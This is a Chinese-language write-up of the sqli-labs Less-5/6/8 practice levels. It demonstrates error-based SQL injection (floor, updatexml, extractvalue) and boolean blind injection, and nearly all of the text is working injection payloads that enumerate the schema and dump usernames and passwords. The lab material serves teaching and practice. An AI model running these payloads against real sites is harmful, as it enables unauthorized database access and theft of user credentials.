Less-5

正确的思路是盲注。从源代码中可以看到,运行返回结果正确的时候只返回 you are in….,不会返回数据库当中的信息了(但会print_f(mysql_error()),这点很重要),所以我们不能利用前面 less1-4 的方法。

img

报错注入

img

发现sql语句有错误,这里就想到报错注入

什么是报错注入呢?

报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。0x7e=’~’

首先介绍三种报错注入常用的语句: (1). 通过floor报错 and (select 1 from (select
count(*),concat(( payload),floor (rand(0)*2))x from
information_schema.tables group by x)a) 其中payload为你要插入的SQL语句
需要注意的是该语句将 输出字符长度限制为64个字符

(2). 通过updatexml报错 and updatexml(1, payload,1)
同样该语句对输出的字符长度也做了限制,其最长输出32位
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效

(3). 通过ExtractValue报错 and extractvalue(1, payload) 输出字符有长度限制,最长32位。
这些是我参考大佬的博客所得到的

floor报错注入

查询库名

?id=1’ and (select 1 from (select count(*),concat((select group_concat(schema_name) from information_schema.schemata),floor (rand()*2)) as x from information_schema.tables group by x) as a) –+

img

提示说输出信息超过一行,说明这里数据库名组成的字符串长度超过了64位(group_concat()函数最大长度为64位)—-但是我测试了一下最多可以有70多位,要用limit 来一个个输出
1、limit 0,1
?id=1’ and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 0,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) –+
查出了名为information_schema的数据库

img

2、limit 1,1
?id=1’ and (select 1 from (select count(),concat((select schema_name from information_schema.schemata limit 1,1),floor (rand()2)) as x from information_schema.tables group by x) as a) –+`
查出了名为
challenges**的数据库

3、limit 2,1
?id=1’ and (select 1 from (select count(),concat((select schema_name from information_schema.schemata limit 2,1),floor (rand()2)) as x from information_schema.tables group by x) as a) –+`
查出来名为
mysql**的数据库

4、limit 3,1
?id=1’ and (select 1 from (select count(),concat((select schema_name from information_schema.schemata limit 3,1),floor (rand()2)) as x from information_schema.tables group by x) as a) –+`
查出来名为
performance_schema**的数据库

5、limit 4,1
?id=1’ and (select 1 from (select count(),concat((select schema_name from information_schema.schemata limit 4,1),floor (rand()2)) as x from information_schema.tables group by x) as a) –+`
查出来名为
security**的数据库
然后是limit 5,1 ,是名为test的数据库

直到limit 6,1,不报错.说明只有6条数据库

查询表名

这里利用security库,在limit 3,1里找到了users

?id=1’ and (select 1 from (select count(*),concat(((select concat(table_name) from information_schema.tables where table_schema=’security’ limit 3,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) –+

img

字段

下面查询users表里的字段
limit 0,1 是id
?id=1’ and (select 1 from (select count(*),concat((select concat(column_name,’;’) from information_schema.columns where table_name=’users’ limit 0,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) –+

limit 1,1 是username

?id=1’ and (select 1 from (select count(*),concat((select concat(column_name,’;’) from information_schema.columns where table_name=’users’ limit 1,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) –+

limit 2,1 是password

?id=1’ and (select 1 from (select count(*),concat((select concat(column_name,’;’) from information_schema.columns where table_name=’users’ limit 2,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) –+

查询username、password字段的值

同样 limit 0,1
?id=1’ and(select 1 from (select count(*),concat((select concat(username,’: ‘,password,’;’) from security.users limit 0,1),floor(rand()*2)) as x from security.users group by x) as a)–+

limit 1,1
?id=1’ and(select 1 from (select count(*),concat((select concat(username,’: ‘,password,’;’) from security.users limit 1,1),floor(rand()*2)) as x from security.users group by x) as a)–+`

…….

依次输出;

updatexml报错

UpdateXML(xml_target, xpath_expr, new_xml)

xml_target:: 需要操作的xml片段

xpath_expr: 需要更新的xml路径(Xpath格式)

new_xml: 更新后的内容

此函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 xml_target 新的XML片段 new_xml ,然后返回更改的XML。xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配。

爆数据库

?id=1’ or updatexml(1,concat(0x7e,database(),0x7e),1)–+

爆表名

?id=1’ or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’security’),0x7e),1)–+

爆字段

?id=1’ or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=’security’ and table_name=’users’),0x7e),1)–+

爆字段的值

?id=1’ or updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)–+

extractvalue函数

ExtractValue(xml_frag, xpath_expr)

ExtractValue()接受两个字符串参数,一个XML标记片段 xml_frag和一个XPath表达式 xpath_expr(也称为 定位器); 它返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。

第一个参数可以传入目标xml文档,第二个参数是用Xpath路径法表示的查找路径

爆数据库
?id=1’ and extractvalue(1,concat(0x7e,database(),0x7e))–+
爆表名
?id=1’ and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x23))–+
爆列名(字段)
?id=1’ and extractvalue(1,concat(0x23,(select column_name from information_schema.columns where table_schema=database() and table_name=’users’ limit 1,1),0x23))–+
爆值
?id=1’ and extractvalue(1,concat(0x23,(select username from users limit 1,1),0x23))–+
这里也需要不断改变limit的条件,找到我们想要的表名,字段名!

bool盲注

观察到如果正确,就输出you are in……;如果不正确,就不输出。
如id=3,有这个值,所以输出了you are in。id=-3,是错误的,所以输出了空白
因此可以根据这个现象来推测。

?id=3’ and length(database())=7–+
‘ 的作用,是闭合。length(database())是得到数据库的字符串长度。
字符串长度不是7,报错。
img

字符串长度等于8,没报错了

说明字符串的长度是8。即数据库的名字有8个字符。

?id=3’ and ascii(substr(database(),1,1))>115–+

  1. substr(var1, var2, var3)

    功能:从字符串里截取其中一段字符(串)

    • var1:被截取的字符串
    • var2:从哪一位开始截取
    • var3:截取长度
  2. ascii(var)

    功能:取var字符的ascii码(十进制)

在这里插入图片描述

数据库的第一位字符的ASCII码值大于114,不大于115,所以是115。
查表可知115对应的字符是s,即第一位是s

100正常,101报错, 对应的是e

?id=3’ and ascii(substr(database(),2,1))>100–+
98正常,99报错, 对应的是c

?id=3’ and ascii(substr(database(),3,1))>98–+
……
120正常,121报错, 对应的是y

?id=3’ and ascii(substr(database(),8,1))>120–+
得出数据库的名字是:security

知道了库名,就是表名了:

100正常,101报错, 对应的是e

?id=3’ and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=’security’),1,1))>100–+
108正常,109报错,对应的是m

?id=3’ and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=’security’),2,1))>108–+
emails
利用limit来输出其他的表名

……
就这样,得出表名,列名及字段(参考报错注入)

Less-6

第六关原理和第五关一样,就是第六关是双引号,解法同上

Less-8

第八关也是一样的